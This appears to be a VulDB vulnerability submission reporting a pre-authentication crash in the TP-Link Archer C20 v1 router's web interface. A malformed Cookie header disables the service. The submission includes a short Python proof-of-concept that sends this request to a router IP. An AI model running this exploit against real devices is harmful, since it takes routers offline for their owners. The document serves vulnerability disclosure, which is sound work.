| tiêu đề | Web crash found on TP-LINK（c20v1) router |
|---|
| Mô tả | # Web crash found on TP-LINK（c20v1) router
## Overview of the Vulnerability
This vulnerability exists in the router version of TPLINK Archer C20v1(Firmware versionArcher C20_V1_141217，downloadlink:https://www.tp-link.com/us/support/download/archer-c20/v1/#Firmware). The vulnerability is related to the parsing of the cookie field in HTTP request packets. If a malformed cookie is parsed, it can cause the router to crash. Since this vulnerability occurs before authentication, an attacker can easily target the router without knowing the web service password. By sending just one malformed request, the router can be effectively disabled and the attacker may even gain control over it.
## Business Impact
The exploitation of the vulnerability is uncomplicated and could lead to indirect monetary damages for the organization. Such malicious actions may also harm the company's reputation by impacting the confidence of its clientele.
## Steps to Reproduce
I have attached the reproduced Poc code below. You only need to modify the web IP address of the target device to exploit the vulnerability and crash the program.
## Proof of Concept (POC)
After executing the POC script, then trying to visit the router web management interface(or 'telnet device_web_ip 80'), you will find web service goes down.
```python
import requests
import time
ip_address = '192.168.0.1'
headers = {
'Host': ip_address,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'Authorization',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
params = {
'url': f'http://{ip_address}/',
'method': 'GET',
'version': 'HTTP/1.1'
}
try:
response = requests.request(method=params['method'], url=params['url'], headers=headers, verify=False, timeout=0.1)
except requests.exceptions.RequestException:
pass
```
|
|---|
| Người dùng | a2ure (UID 41072) |
|---|
| Đệ trình | 27/03/2023 09:56 (cách đây 4 những năm) |
|---|
| Kiểm duyệt | 27/03/2023 22:52 (13 hours later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 221552 [TP-Link Archer C50 V2_160801 Web Management Interface Từ chối dịch vụ] |
|---|
| điểm | 0 |
|---|